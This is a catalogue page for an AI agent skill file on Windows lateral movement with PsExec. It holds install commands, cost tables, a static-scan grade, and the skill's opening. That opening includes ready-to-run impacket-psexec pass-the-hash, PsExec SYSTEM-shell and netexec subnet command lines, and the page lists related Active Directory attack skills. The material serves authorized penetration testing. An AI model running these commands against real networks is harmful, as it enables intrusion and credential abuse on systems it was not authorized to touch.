Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/psexec-lateral-movementWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/psexec-lateral-movement)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/psexec-lateral-movement"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/psexec-lateral-movement/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/psexec-lateral-movement"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/psexec-lateral-movement.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00060 | $0.01185 |
| Opus 5 | $0.00030 | $0.00593 |
| Sonnet 5 | $0.00012 | $0.00237 |
| Haiku 4.5 | $0.00006 | $0.00119 |
Grade A, and why
psexec-lateral-movement scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 125 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Lateral Movement via PsExec
When to Use
- You have compromised valid domain administrator credentials or a local administrator account for a target system.
- You need to obtain an interactive command shell (
cmd.exeorpowershell.exe) or execute a payload on a remote Windows machine. - SMB (Port 445) and RPC (Port 135) are accessible.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Mechanics of PsExec
PsExec works by performing the following actions:
- Authenticates via SMB over Port 445.
- Connects to the
ADMIN$hidden share (usuallyC:\Windows). - Uploads a service executable (e.g.,
PSEXESVC.exe). - Uses the Service Control Manager (SCM) via RPC to create and start a Windows service wrapping the executable.
- Communicates input/output back via named pipes over SMB.
Phase 2: Remote Execution with Impacket (Linux)
# # impacket-psexec Administrator:[email protected]
# Using Pass-the-Hash (PTH) impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 [email protected]
Phase 3: Remote Execution with Sysinternals PsExec (Windows)
# # PsExec.exe \\192.168.1.100 -u Domain\Administrator -p Password123! cmd.exe
# Execute SYSTEM shell PsExec.exe \\192.168.1.100 -s -u Domain\Administrator -p Password123! cmd.exe
Phase 4: Automated Lateral Movement with CrackMapExec / NetExec
# netexec smb 192.168.1.0/24 -u Administrator -p Password123! -x "whoami"
Decision Point 🔀
flowchart TD
A[Check SMB Access ] --> B{Admin Privs? ]}
B -->|Yes| C[Upload Service ]
B -->|No| D[PsExec Fails ]
C --> E[Reverse Shell ]
🔵 Blue Team Detection & Defense
- Monitor EID 7045 / 4697: Hunting Anomalous Pipe Names: Disable SMBv1 and Restrict Port 445: Key Concepts | Concept | Description | |---------|-------------|
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 125 lines · 60 tokens per session scan A 3bb94c0f6b5a
psexec-lateral-movement is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 60 tokens to every session and 1,185 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
ad-pass-the-hash
Exploit Active Directory environments using Pass-the-Hash (PtH). This skill details how to authenticate to remote systems using the NTLM hash of a user's password instead of the plaintext password, enabling lateral movement and privilege escalation without cracking hashes.
kerberoasting-active-directory
Execute a Kerberoasting attack to extract Service Principal Name (SPN) ticket hashes from Active Directory and crack them offline. This allows an attacker with any valid domain credentials to escalate privileges by obtaining the plaintext password of highly-privileged service accounts.
ad-recon
Active Directory reconnaissance skill — host discovery and comprehensive AD enumeration. Activate when the user wants to map an AD environment, enumerate users, groups, shares, trusts, SPNs, or BloodHound data before attacking. Also activate for phrases like "map the domain", "enumerate AD", "find AD users", "collect…
conducting-internal-network-penetration-test
Execute an internal network penetration test simulating an insider threat or post-breach attacker to identify lateral movement paths, privilege escalation vectors, and sensitive data exposure within the corporate network.
ad-killer
Use when active Directory and Windows domain exploitation for enterprise penetration testing. Use when attacking Windows domains, exploiting AD misconfigurations, or performing lateral movement in enterprise environments.
active-directory-asreproasting
Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.